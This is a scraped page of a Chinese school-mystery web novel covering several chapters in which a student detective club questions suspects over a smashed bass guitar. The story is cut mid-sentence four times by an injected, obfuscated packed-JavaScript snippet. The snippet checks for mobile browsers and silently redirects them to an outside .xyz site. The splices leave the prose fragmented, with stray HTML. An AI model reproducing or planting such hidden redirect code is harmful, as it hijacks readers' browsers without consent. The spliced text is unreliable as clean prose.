;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16063877|179220||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
时锁门了。”
“原来那就是你们的活动室啊……”夏烁恍然大悟般点点头,“还好当时没让小梦把锁撬开。”
“你们还有过这么危险的想法?!”
谭深还在质问时,我已经抓住了另一个重点——
“小梦”啊……莫非这两人……
浮想联翩的似乎不止我一个,我注意到对面的记事本男生和紫蝴蝶女生对视一眼,不约而同地露出“哦~”的笑容。与此同时,和他们隔了几个位置,一位扎哥特式螺旋双马尾,戴红色半月形眼镜的女老师也满眼好奇。而课室后端的那位黑斗篷女生则不屑地冷哼了一声,似乎不想在这种无聊的事情上浪费时间。
——
“……还是算了吧。”夏烁及时伸出双手,挡在乔似梦面前。
“啊?为何?”乔似梦正拿着刚摘下的发夹跃跃欲试,“在下可是苦练了很久的。”
“好厉害!我也想学!”乔似梦身后的詹澄双眼放光。
“别乱学奇怪的东西啊!”夏烁劝阻詹澄后,又开始劝阻乔似梦,“小梦啊,你还是别干了,万一被人看到怎么办?录像带可是学校财产,这种算偷窃的行为最好不要让别人知道……”
——
“咳……”记事本男生讪笑着打断,“可是……”
他抬起手臂一挥。
“现在这里这么多人都知道了哦……”
夏烁尴尬地挠了挠脸,目光躲闪着。
“算了,”防风镜把手一摊,“毕竟这跟我们现在要说的这件事情比起来,已经无所谓了……”
——
“好吧,”乔似梦垂头丧气地在三楼走廊里往回走,“既然主唱阁下都已经唱出这样的歌词了,那在下也无计可施。”
“要不……我们再看看这里的其他课室?说不定能找到别的放映机。”防风镜打量了一下那几扇紧闭的门,“我也挺好奇推因·推理社的活动室在哪……”
“推理社?”詹澄惊讶地瞪大眼睛。
“在下怎么没听说过?”乔似梦也十分疑惑。
“它前几天才成立,”防风镜解释道,“听说还能接受侦探委托呢。”
“哦?”夏烁不禁对这个素未谋面的社团有了浓厚兴趣,“这么厉害?看来我们以后要是遇到案件,就可以去找他们解决了。”
“那种事情最好不要发生。”乔似梦淡淡道,开始推302的前门——但还是没推动。
接下来,掠夜彗星把三楼的每一扇门都试了个遍,却依旧一无所获。
“在下累了——”乔似梦哀叹一声,率先冲下北梯。
其他三人无奈对视一眼,只好也跟了上去。
三人一下到二楼,就见乔似梦杵在206前面,还维持着打开门的姿势,一动不动地站着。
“怎么了?曹司马?”詹澄歪了歪头,凑过去。
然而,她刚把头摆成和乔似梦一样的姿势,就立刻像被定住了一样,也不动了。
……怎么回事?
不知是不是受乔似梦那句“那种事情最好不要发生”的影响,夏烁心中感到一丝隐隐的不安。
和防风镜担忧地对视一眼后,夏烁走上前去。
——
四根原本光滑银亮的弦,此刻全部断裂开,像是被强行撬出的筋骨,乱七八糟地朝上翘着。几处触目惊心的凹陷上,油漆脱落殆尽,如同被剥去了皮肤似的,与地板上隐隐的砸痕一同宣泄着愤恨。
角落的课桌上,正是乔似梦那把曾经亮眼夺目的黑色贝斯。而它现在如同一具惨遭蹂躏的躯干,毫无生气地躺在验尸台上。似乎正有还未干涸的暗色血液,从那弦断之处汩汩流出,使整间课室染上了可怖的色彩。
“发现它的时候,它被扔在了地上。”夏烁指了指地板上的砸痕。
课室陷入了诡异的寂静。
……怪不得乔似梦成了“思想者”呢,听说贝斯对于贝斯手来说就如同妻子一般。
“推因社的另外两位,”防风镜突然向我们发问,“你们离开301后,一直都待在205课室里,对吧?”
“是的,超自然事件研究社的各位可以证明。”谭深回答。
“既然你们有明确的不在场证明,那么……”
她按了按镜片。
“我们想委托你们‘观棋亦语’侦探团,调查出贝斯被砸案的真凶。”
13. (3)逍遥味的法庭辩论
……
场面怎么突然变得中二了起来?
“你们为什么不先去报告何俊轩呢?找我们干嘛?”深哥啊,你难道不想尽快去吃晚饭吗?推诿啥呀?!我真想把301里那沓宣传单怼他脸上。
……虽说回不回家我倒是无所谓,但如果任由时间再这样拖延下去,我真的要饿死在这了!
“报告了也没多大用处,毕竟旧校舍没有监控。”夏烁对谭深摇摇头,“况且,大家都是一个学校的,我们还是想尽可能地内部处理……”
说完,夏烁又不安地瞥了眼乔似梦:“小梦也是这样想的。”
乔似梦仍在维持她的“思想者”姿势。
“不过,我得先说一句,我们是收报酬的。”一谈到报酬就严肃得跟签合同一样,什么人啊……
“报酬……”听了谭深的话,夏烁想了想,“请你们吃苹果派可以吗?”
“又是一个请客吃饭的啊……”
“谭深,”我突然有了主意,“要不,让他们帮忙把社里那堆招新宣传单订了?”
“欸?”原本无精打采的谭深愣了一下,赞许地冲我点点头,“不错啊夏洛瑛,你发现了盲点。”
他还真延续了“杜尔摩斯”这个称呼。
“订招新通知是吧,”夏烁打了个响指,“小菜一碟啦,就这么决定了!那么接下来,请开始你们的表演——”
夏烁冲我们做了一个“请”的手势。
呃……表演倒是没问题啦,但为什么这次有那么多人啊?!我不舒服地感到十几道目光如针芒般刺来。
“呃……”我深吸一口气,决定还是先询问审判长兼原告,“你们只找了二楼的人么?就没有考虑过旧校舍外的人吗?”
旧校舍的一楼是上锁的阶梯教室,所以没有所谓“一楼的社团”,但也可能会有不在旧校舍里进行社团活动的人从外面偷溜进来。
“我们当然考虑到了。”夏烁回答道,“立——立马,我们的吉他手立马就去了旧校舍外面的空地。”
说到这,夏烁不知为何有些紧张,偏头看了防风镜一眼。
“对,我问了外面在玩无人机的航模协会,他们能同时留意到两个楼梯口的情况。”防风镜继续用她那种冷淡的语气陈述道,“据航协所说,五点四十分上课后,就没人进去了。同时,除了个从北梯跑到一楼,又跑上南梯的女生以外,没有任何人出来过。”
“你们离开二楼是几点?从离开到回来大概花了多少时间?”谭深问道。
“我走之前习惯性看了一眼手表,是五点。”防风镜回答,“发现贝斯被砸后,我也及时确认了时间,是五点零三分。”
“那作案时间就在这三分钟内咯。”谭深扫了眼四周的人,“接下来得先调查在掠夜彗星离开二楼这段时间里,哪些人没有不在场证——”
“——慢着!一个一个来!”我环顾了一下周围,看见有几个心急的人正欲开口,赶忙喊停,“按课室顺序来,201!”
“201是朝闻·新闻社,我是社长。”
说话的男生带着圆框眼镜,看起来很温和。
“他叫容柃,高二。”圆眼镜男生旁的紫蝴蝶女生帮他介绍道,“我觉得把大家的名字都说出来会更好,毕竟我可不想听到别人用‘这个带眼镜的’‘那个戴发卡的’之类的话来称呼我们。”
谢谢,并非会更好,这么多人鬼记得住啊?!我只得硬着头皮听下去——
“我是朝闻社副社长杏流玥,高一。”紫蝴蝶女生自我介绍完毕后,又朝邻座的记事本男生一指,“他是高一的泽墨梓……”
据杏流玥的介绍,坐在他们附近,正满脸忧虑的男生,是高一的柯烛辉。而坐我们这边的范晚枫也是朝闻社成员。
“我们一直都在课室里。”容柃说完后犹豫片刻,又补上一句,“只有柯烛辉出去过两分钟左右,具体时间我也不清楚。”
“那你们认为他回来的时间点,与掠夜彗星来找你们的时候相差多久?”谭深追问。
“呃……”容柃瞥了眼仍低着头的柯烛辉,“他……”
“没相差多久。”杏流玥低声回答。
柯烛辉放在桌上的双手交叉得更紧了。
“那能说说你在这段时间干了什么吗?”注意到柯烛辉的紧张,谭深眯起眼睛,“柯同学?”
“我——我只是出去逛逛而已。”
“但你当时不是说要去厕所吗?”泽墨梓向柯烛辉投去怀疑的目光。
“航协的同学没说有男生出来。”防风镜冷冰冰地说。
旧校舍的厕所年久失修,所以大家只能下楼,走去附近游泳馆的厕所。
“我确实没去厕所,我……”柯烛辉焦躁地舔了舔唇。
“我只是想找个借口在旧校舍里逛逛。”
说完后,柯烛辉点点头,似乎在努力认同自己的话。
“对,就是这样。”
……拜托,任谁都觉得这个理由很牵强吧?
“你该不会一不小心逛到206去了吧?”课室后侧,一位穿白衬衫的男生话语犀利。
“我没有!”柯烛辉一口否决,随后垂下目光,陷入了长久的沉默。
“但……也不能只因为他出去过,就说他是犯人吧。”范晚枫试图缓和课室中对柯烛辉的针对氛围。
“那你们有注意到他出门后往哪转了吗?”我好心提醒朝闻社的人,“如果他朝右边——也就是南梯方向离开,那他就几乎没有嫌疑了。”
容柃说柯烛辉离开了两分钟,而柯烛辉又是在掠夜彗星找他们不久前回来的。按这个时间推算,如果柯烛辉向右转,他就只会一直待在201右边的角落——他上三楼会被掠夜彗星发现,下一楼又会被航协看到。
“没有,”杏流月颇感失望地摇摇头,“他一出门就把门关上了。而且窗帘平时是拉起的,看不见他。”
“那他有没有带什么东西出去?”我接着问道,“贝斯弦沿一条直线断开,说明它们是被一起割断或者切断的。”
“我什么都没带。”没等杏流玥回答,柯烛辉自己主动站了起来,扯开裤袋——里面是空的。
“但你也有扔掉作案工具的可能性。”谭深依旧没打算放过他,“抱歉了,嫌疑人一号——”
“等一下,谭社长。”
先前质问过柯烛辉的白衬衫男生冷不丁发话。
“其实他不是嫌疑人一号。”
嗯?这位白衬衫哥们改主意了?
“但我的意思不是说他没有嫌疑,”白衬衫轻笑着否定了我的猜想,“我是指……”
“他是指,”一直缄默的艾怡芊突然开口,“柯同学是嫌疑人二号。”
然后,他一脸无奈地指指自己:
“嫌疑人一号是我。”
……
怪不得艾怡芊之前一个字也没说呢,原来是在避嫌。
“你怎么又成嫌疑人了……”我哭笑不得,“那你有不在场证明吗?”
“显而易见,并没有。”艾怡芊叹了口气,“我当时正一个人待在二楼的南梯楼梯间里。”
“但你没有带尖锐物品不是吗——”
“他现在确实没带——你们来之前,他已经证明过了。”泽墨梓看了眼记事本,“但很遗憾,就和你们刚刚说的一样,他也有扔掉作案工具的可能。”
“那就没办法了,嫌——咳。”
谭深把那句要对艾怡芊说的“嫌疑人一号”及时止住:
“下一个,202。”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16063878|179220||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>202是拾花·圆念社。
“这……”泽墨梓迷惑地挠了挠头,“这是个什么社团?”
“志愿类社团。”拾花社的指导老师,就是那位哥特发型的女老师——初中部的英语老师骆秋萝,“我们会帮临终的人完成一些在可行范围内的遗愿。”
“朝花夕拾。”骆秋萝旁边,扎着双马尾,戴蓝白色帽子的女生解释——她是拾花社副社长筱玲珑,初二。
黑色鸭舌帽,单马尾的高一女生谷慧慧,是拾花社的社长。她邻座那位略显阴郁的男生与她同级,名叫余遥。
很好,已经开始忘名字了。
“今天我们正在商讨新的委托,”骆秋萝推了推她的月牙形红眼镜,“只有筱玲珑出去过上厕所——欸?!”
她应该想起无人机社的话了——没有人从旧校舍里出去过更远的地方。
“……至于她出门后往哪走……呃……是往左……啊!”
骆秋萝惊慌地捂住嘴,可她此时已经没有说完那句话的必要了。
202往左,正是到206魔音社的方向。
筱玲珑咬紧嘴唇,一言不发。而她身旁的谷慧慧却发话了:
“才不是小玲珑呢,老师!”她着急地替筱玲珑辩解,“我记得她是从右边回来的啊!”
“记错了吧?”泽墨梓像是个在发布会上挑刺的记者。
“不,她没记错。”余遥冷眼看向泽墨梓,“我也看见小玲珑从右边回来了。”
“那么……”泽墨梓扶了扶眼镜,“她回来的时间,和掠夜彗星找你们的时间,相差多久呢?”
“……”余遥一时语塞。
“没差多少吧?”杏流玥平静地替他说道,“况且她说去厕所也是在说谎。”
“顺带一提,航协描述了那位形迹可疑的女生的外貌。”防风镜一字一顿地复述:
“他们说,那位女生戴帽子,扎双马尾。”
很明显,无人机社看到的女生就是筱玲珑。她从202向左出去后,跑下了北梯,再穿过一楼,沿着南梯跑回二楼。所以谷慧慧和余遥才说看到她从右边回来。
正所谓事出反常必有妖。课室里许多人看筱玲珑的眼光都带上了狐疑。
“小、小玲珑不可能干这种事!”谷慧慧仍然在竭力维护筱玲珑,“她超喜欢摇滚音乐!”
“约翰·列侬……”
(注:约翰·列侬事件——披头士乐队的主唱约翰·列侬,被一名狂热的男歌迷枪杀。)
白衬衫邻座,一位穿黑衬衫的男生小声咕哝。
呃……怎么言辞尖锐的家伙全都来自后排?
“我才不是那种人!!!”
不出意外地出意外了,筱玲珑愤怒地站起来,过于迅猛的动作带倒了她身后的椅子,并引起了一系列效应——
夏羡霞吓得一缩,浑身颤抖着摔下了椅子;防风镜停下扯自己裤脚上棕色丝状物的动作,猛地抬起头注视这剑拔弩张的一幕;杏流玥偷偷拿出DV机,却被容柃一手捂住了镜头。
完蛋,我记得筱玲珑是学校跆拳社王牌。朝闻社有头条了。
幸亏,就在筱玲珑即将爆发的怒火之中,适时地出现了注意力的转移——
“呃……”
出声的范晚枫顿时吸引了所有人。
“其实,”他的话语中充满了犹豫,“我在205拉窗帘的时候,正好看见筱玲珑同学从外面经过。她……她……”
他的视线从撑着桌子站立的筱玲珑,移到一脸担忧的谷慧慧,再落到角落仍垂着头的乔似梦,接着缓缓回到地面。
沉默片刻后,范晚枫下定决心般抬起头:“我看到她直接走进了206。”
转移注意力的本质是制造更大的爆炸。
14. (4)无休止讨论
课室里立刻泛起一阵低低的惊呼。
“哈!”泽墨梓夸张地推了下眼镜,“这下,真凶就浮出水面啦。”
“不、不是的!”谷慧慧惊慌地转过头,无措地看向眼神晦暗的筱玲珑,“怎么可能是小玲珑呢?!”
“慧慧,其实……”一直沉默的筱玲珑终于开口了,“我确实去过那里。”
啊?这就结束了?
我万分震惊。
也太突兀了吧!观棋亦语还没展示它真正的实力啊?!
“……但是,”还好,转机出现了——筱玲珑坚定地把头一昂,“那种事情,我是绝对不会干的。”
“蛤?你无缘无故去过案发现场,但又没有作案?”课室后侧的黑斗篷女生不屑地一撩散发,“谁信啊?”
“无论你相信还是不相信,这都是事实。”筱玲珑看都没看黑斗篷女生一眼,冷冷地回应,“我去那里,是因为我看到摇滚社的人从窗前经过,然后……”
令人诧异的事情发生了——筱玲珑的脸突然变得绯红。
“……我……因为……”她结结巴巴地说着,刚才的气势全被淹没在了难为情中,“因为我很喜欢摇滚音乐,所以……我对摇滚乐器……也很好奇……所以……”
似乎是因为不好意思,筱玲珑的声音越来越小。
“我……我看到掠夜彗星离开之后,就借口上厕所,去了206,想、想……呃……看一下他们平时排练的环境……”为了缓解紧张,她用力地搓捻着自己的辫子,“但、但我刚看了几眼,就听到外面有快速的脚步声传来,于是……我立刻跑掉了……”
筱玲珑不安地扯了扯自己的校服下摆:“我拉下帽子挡住脸,迅速跑进了北梯楼梯间,再跑下一楼,又从南梯跑回了二楼。之后我偷看到走廊没人,便回到了202。所以——”
她猛地一拍桌子,又找回了刚才的气势。
“我绝对没有干那种事!”
“可是……”夏烁用疑惑的目光看向筱玲珑,“如果你说的是真的,我们也没见到你从206跑出来啊?”
“如果犯人真的不是她,那这脚步声可能不是你们的,而是真凶的。”谭深指出这一点。
“确实,”我点头表示认同,“毕竟她‘刚看了几眼’,脚步声就来了。”
“但不好意思,我们也暂时不能排除你说谎的可能性。”谭深对正在扶起椅子的筱玲珑说,“所以,还是得给你安排个嫌疑人三号。”
“怎么每个社团都能揪出一个啊……”我无奈地揉了揉太阳穴,“203!”
203是魔术社。
“欢欣社的人今天不在,”鼓手詹澄耸耸肩,“203的门被锁上了。”
“呃……他们其实叫幻秀社……”又一次纠正詹澄的夏烁尴尬地挠了挠脸,“不过这不是重点,重点是那里确实没人,我在204确认过了。”
说完,夏烁抬手示意下一个社团发言。
于是,话筒给到了204——启幕·话剧社。
“从一进门我就想问了,”杏流玥小心翼翼地看向教室后侧,“您是芳娟导演老师吗?”
我才注意到,教室后排除了学生,还有位和梅屡望年纪相仿的成年女性在这。
“正是在下,”芳娟扎着丸子头,含着棒棒糖轻轻一笑,“你要签名吗?”
……这是什么檀惠竹行为?名人都会一上来问别人要不要签名吗?
“她是我们话剧社今天特邀的指导老师,知名导演。”在杏流玥拿到签名,并与芳娟合影时,一位同样坐在教室后排的双马尾女生解释说,“也是我们十年前的同校学姐。”
据双马尾女生的介绍,她自己名叫芥浅,在读高二,是启幕社的社长。
“今天我们一直在排练话剧。”芥浅开始了她的陈述环节,“在詹澄同学来敲门前,没有人出去过204。”
“那可不一定。”谭深笑了笑,“话剧演出有幕前幕后之分,既然你们都已经穿上服装排练了,那大概也准备了幕布之类的东西吧?”
“是的,”被谭深说中,芥浅微笑着点头,“我们在课室前端的第一排灯上,挂了块能完全挡住后方的大黑布。”
“黑布还挂着吧,”见芥浅再次点头,谭深便招呼我,“走,看看去!”
我和谭深来到了204——可怜的艾怡芊留在原地避嫌。一打开门,那一大块黑布便出现在我们眼前。
“遮得可真严实。”我掀起黑布看了看后台,又端详了下四周,“竟然把左右两边都遮得严丝合缝,一般来说不是应该留条过道吗?”
“确实遮得太严实了,”身旁的谭深点点头,“这就给了犯人可乘之机——毕竟连前门都被遮住了,后台的人完全可以神不知鬼不觉地避开他人耳目,顺利溜出前门。”
“而且窗帘没拉上,这块黑布把一小半窗户划给了后台。”我指了指能清晰看见外面走廊的长窗,“因此,台前台后的人都能知道掠夜彗星离开的时机。”
“既然如此,我们就得去查查剧本了。”谭深轻笑一声。
“是啊……走吧。”
附和完后,我便插着兜,朝课室门口走去——
但倚在门框上的谭深没有挪开身子。
“劳驾?”去路无端被堵,我丈二和尚摸不着头脑,抱起双臂立在门旁。
可谭深还是没动。
……干嘛呢这位哥?
正当我想把手伸到他眼前晃,以确认他没有魂魄出窍时,谭深突然发话了:
“你和艾怡芊是一个初中的,对吧?”
……?莫名其妙的问题被莫名其妙地问了出来。
“是啊。”我奇怪地望着他那张似笑非的脸,“也是同一个班。”
“你觉得他这人怎么样?”
……啊?又一个不知所云的问题被不知所云地问了出来。
“你问这个干什么?”盯着谭深那副半笑半不笑的样子,倒是把我给整笑了,“你是要查他户口吗?”
“侦探对嫌疑人身边的人进行合法盘问。”
他一本正经地说着明显是胡编乱造的话。
“你根本就没把他当成嫌疑人想过吧?一眼就能看出来。”我轻轻摇了摇头,“再说了,我反对通过心理角度分析嫌疑人作案可能性。”
“好吧,”他故作无奈地叹了口气,“那这就是社长在合理对社员进行常规了解。”
……不是哥们,再这样下去我真的要笑出声来了。
“那你怎么不来了解我呢?”我不是在为区别对待而感到嫉妒,只是单纯觉得好笑,“你想了解他就去问他啊,为什么要来问我——等等!”
我瞬间不笑了。
“和现在一样,你也问过他关于我的事?”
“没有没有,真没有!”
面对我顷刻间变得狐疑的目光,谭深有些慌张,连忙否认。
“还有,我之所以不问他来问你,只是想得到一些客观的评价。”
我一动不动地盯着谭深,确认他说自己没问过我的事应该不是在说谎后,才开口:
“再客观的评价,大概也比不上你自己的主观评价吧?”我平静地指出,“所以,你不用来特地问我。”
说完这句话,我犹豫了下,又道:
“你这样一上来就询问对一个正常人的评价,很难不让我怀疑……”
我在接下来要说的话上迟疑片刻。
“……你对艾怡芊有什么目的。”
话刚说出口,我就感觉不对劲——这意思乍一听怎么好像有点歪?
看着谭深稍变的脸色,我赶紧试图明确我真正要表达的想法——
“呃……比如说图财什么的,或者给别人介绍对象啊这些乱七八糟的。”我开玩笑般补充着,谭深的表情总算缓和了些。
“那你倒是说对了一半。”谭深苦笑着,从门框上起身,“主要是我姐对他很好奇。”
“真介绍对象啊?!”
“不是!单纯只是我姐很闲,想
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16063879|179220||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
多问几句而已。”谭深赶紧澄清,同时走出了204,“她都二十了。”
“哦哦。”我随口应着,跟上他离开的背影。
这时,我注意到谭深正有一下没一下地捋着头发。
……第一次见他时,他好像也捋了好几次头发吧?这哥们自恋吗?
“这是我们的剧目《爱魔》的剧本。”
回到206课室,芥浅将一沓装订起来的纸递给我。
“改编自太宰治的《犯人》——‘对年轻人走火入魔的热恋,切不可掉以轻心’……”她轻笑着摇摇头。
太宰治的这篇作品我看过。它不知道出于什么原因,被选入了某本推理小说集,又被不务正业的我找到了。因为这件事,我甚至还以为他是推理作家,跑去翻了他的大部分作品……
压下这段滑稽的回忆,我使劲忍住不合时宜的笑,翻开剧本——
纸页上写满了芥浅工整的字迹,还细心地用不同颜色笔作了注解,并标上了每个演员上下场的时间。
“为了控制演出的总体时间,每个演员表演的时间都控制在了预定时间半分钟左右的误差范围内。”身旁的芥浅解释道。
“你们是几点钟开始排练的?”谭深问。
“四点四十分。”芥浅快速回答,并拿出她的手机,“我有这次排练的录像。”
——
“……冷,为什么我这么冷?我……”
一位身着白衬衫的男生,正痛苦地揪着头发,在讲台前的空地上踉踉跄跄地踱着步,眼神中流露出麻木的绝望。
“不,我幸福了!我要幸福了!我应该……”他又兜了一个圈,煞白的脸上勉强挤出笑容,“我应该高兴,对!我应该……”
——
“为什么我看上去像只苍蝇?”
那位名叫森哲溪的高一级男生,正看着录像里不停乱转的自己,低下头笑个不停。
“好啦好啦,我快进就是了。”我感觉他要笑到浑身抽筋了,便将进度条拉了一小截。
——
“没错!就是你杀了她!!!”
一个穿着警服,体型微胖的男生突然跳出来,指着吓得一缩的森哲溪厉声大喝。
面对这从天而降的指责,森哲溪惶恐地瞪大双眼,一脸的迷惑与不解。
“不……不对,我没有……”
“是你!是你拿起了那把菜刀!”警服男叉着腰,冲颤抖的森哲溪一字一顿地复述他的犯罪经过。
“是你捅下了那把刀,又是你拿走了那些钱……”
——
“起码你没我那么像个报菜名的相声演员。”
穿着警服,名叫泰自佑的高二级男生,苦笑着拍了拍森哲溪的肩膀。
“还好啦,你的角色毕竟是我的角色想象出来的嘛。”虽然森哲溪这么说着,但我确实感觉这段念白有点生硬,便又动动手指,往后快进了一点。
——
“……去啊,去杀了他们吧?”
被兜帽遮住脸的女生,提着黑斗篷轻快地跳跃,在另一位披白斗篷的女生身旁高声尖笑。
“去拿到你想要的,去过你想过的生活,去追求……”
她贴近满脸惊恐的白斗篷女生。
“……你想追求的爱~”
——
“小枳,我是不是表演得有点太夸张了?”
名叫齐海瑷的高二级女生理了理她的黑斗篷,皱起眉头问。
“不不不,我觉得非常传神!”
披白斗篷,与齐海瑷同级的女生温华枳连忙摆着双手。
“我感觉你这次演得比之前都要好!”
我盯着谈笑风生的两位,手指无意识揉搓着剧本页角。
计算录像里的每一段表演时间,一直加到临近案发时间的四点五十九分,正好有一段长达两分半的时间,幕布后只有一位演员。
是温华枳。
而且,据剧本内容,她的道具是——
钳子。
15. (5)超自然现象
“嚯?!”
在我说出我的发现后,泽墨梓顿时眼睛一亮,紧紧抓住这又一个找出潜在嫌疑人的机会。
“无论是什么钳子,都肯定能轻轻松松地把那六根贝斯弦一下割断吧?”
“……六根弦的是吉他,贝斯只有四根弦。”
“说得好,泽墨梓!”没理会防风镜幽幽的纠正,杏流玥雀跃着附和道,“204与206之间的来回花三十秒,弄坏贝斯则花一分钟左右,两分半钟的时间肯定绰绰有余啊!”
“这倒没错。”听了这活宝二人组的话,温华枳无奈笑笑,举起手中那把被判定为作案工具的钳子,“这下看来,嫌疑人四号非我莫属咯。”
“不!”
她身旁的泰自偌立刻着急得脸都红了,警服扣子似乎也要随着他的激动崩开。
“你才不是什么嫌疑人!怎么可能会是你干的呢?!”
“我也觉得她不会做这种事。”黑衬衫男生——高二级的丁函,启幕社副社长平静地担保。
“但这也没办法,只要有可能作案,就一定得被列入嫌疑人名单。”森哲溪耸耸肩,扯了扯自己的白衬衫领口,“前面那几位也是这样过来的嘛。”
他的目光把课室扫了一圈,先后落在有些不自在的艾怡芊,仍焦虑地低着头的柯烛辉,以及满脸冷淡的筱玲珑身上。
“尽管话是这么说,我也绝对相信小织!”齐海瑷从黑斗篷下伸出手,紧紧抓住温华枳的肩膀,坚定地喊,“我也希望大家都能相信她。”
“相不相信的,现在还不能下定论,”没被齐海瑷铿锵有力的宣言打动,谭深不近人情地摇摇头,“嫌疑人就是嫌疑人。”
“你这人怎么这样?没看到我们所有人都很信任小枳吗?!”
“你质疑筱玲珑同学时,不也没有听取她社友对她的信任吗?”
于是,齐海瑷和谭深开始了一场据理力争的拉锯赛。
唉……可真够烦的,我已经饿到丧失饥饿感。反正赢家还没那么快决胜出来,还是先继续看看启幕社的话剧吧。
于是,我便在这阵喧闹声中,把兴趣放到了录像结尾上。
——
“……开心吗?你做到啦!”齐海瑷饰演的爱魔提着黑斗篷,轻快地在台上转来转去,“你杀死了他们!现在,你可以迎接属于你自己的未来——”
“不!!!”女主温华枳歇斯底里地大吼,深深弯下腰,把自己绝望的脸埋在颤抖的双手中,发出低沉的呜咽声。
“嗯?怎么了?”爱魔停下脚步,提高了声音,“这不是你一直在追求的吗?自由、爱,以及——”
她贴近浑身哆嗦的温华枳,在她耳边低语。
“……那个他?”
“不!我这样……我怎么能……”女主痛苦地一甩脑袋,摇摇晃晃地朝旁边走了两步,试图离开爱魔。
“我怎么能带着这双沾满鲜血的手去见他?!”
似乎是想躲开爱魔,女主踉跄着走向角落的枯树背景板,在后面蹲下。
“你……你到底为什么要折磨我?为什么?!”女主的声音从枯树后断断续续地传来,还带了一丝哭腔,“你这个——你这个怪物!”
“呵,怪物?”爱魔阴阳怪气地重复了一遍女主的话,讽刺般的笑了笑,转身向身后的枯树走去。
她背对镜头,面向那棵枯树站定——
“你好好看清楚?”
几秒钟的寂静,如同死水一样。
“啊——”
女主尖利的惨叫声划破了整个舞台。
只见她跌跌撞撞着,从枯树后跑开,又在惊恐中摔倒在地,散发凌乱地铺在脸上。
“哈哈哈哈——”目睹了女主这副狼狈的样子,爱魔高亢的笑声随之响起,“我……”
她缓缓向镜头转过身来,摘下兜帽——
“我就是你啊!”
那张脸与温华枳一模一样。
——
“我先拿回去啦!”
我顿时感到手中一空——正在播放的录像连同手机一起,被芥浅收了回去。
“等、等一下!”
我如同录像中的女主一样惊叫起来,下意识地想伸手拿回手机。
“这是怎么做到的?!”
“你说这个?”芥浅低头看了眼手机,莞尔一笑,“对不起啦,无可奉告。”
“啊?告诉我吧,”我忍不住尝试追问,“我真的很想知道!”
“不行哦,”芥浅晃着一根指头,“这可是由我们启幕社设计,隔壁幻秀社制作的绝对机密!”
拒绝完后,她转身朝自己的座位走去。
“好吧……”好奇心没得到满足,我感到十分挫败,转向仍在试图和齐海瑷讲道理的谭深,“你们两个先别吵了。接下来轮到205发言!”
205,正是我们三个待过的破零·超自然事件研究社。
“首先……”安逸思微微向前倾身,一脸的兴致勃勃,“我想问你们一个问题。”
她转向掠夜彗星:“你们曾经得罪过的人中有没有死掉的?或者说……你们有没有干过什么类似于踹别人坟墓的事,得罪过死人?”
“什么乱七八糟的?”防风镜皱起眉头,“我可没有。”
夏烁和詹澄都先后否认了,连“思想者”乔似梦也摇了摇头——看来她其实一直在认真听。
“嗯?真的吗?”安逸思狐疑地盯着四人,挑了挑眉,“那我接下来要说的事,你们可得听好咯!说不定,这案件其实……在我们社的研究范畴内哦!那把贝斯——”
看着安逸思那抹神秘兮兮的微笑,我好像知道她要说什么了——
“可、能、是、幽、灵、干、的、哦~”
安逸思眼中顿时绽放出兴奋无比的光芒。
相机屏幕上,掠过六人身后的白影依旧诡异。
“事情就是这样,”讲述完那段失真的经历后,陈橘的脸色十分难看,“这是幽灵还是别的什么东西,我也不清楚,但我们……确实拍到了平时看不见的东西。”
“这也太……超自然了吧……”看完了那张照片,夏烁的脸色立马变得煞白。
“确实……”防风镜的声音有些发抖,“但——”
她把头转向安逸思,声线又回到了冷酷御姐版本:“你
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16063880|179220||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
们打算怎么清理这一大滩血?”
“嗯……”安逸思意外地被难住了——她居然真的没有考虑过之后的事,“用拖把?”
“但我们和你们共用一个扫帚间吧?”防风镜抬起手,朝课室后侧角落的的柜门用力一指。
安逸思还是愣愣的:“嗯,怎么了?这有什么问题吗——嗯?”
陈橘似乎在课桌下踢了她。
“哦!”安逸思顿时一副恍然大悟的样子——
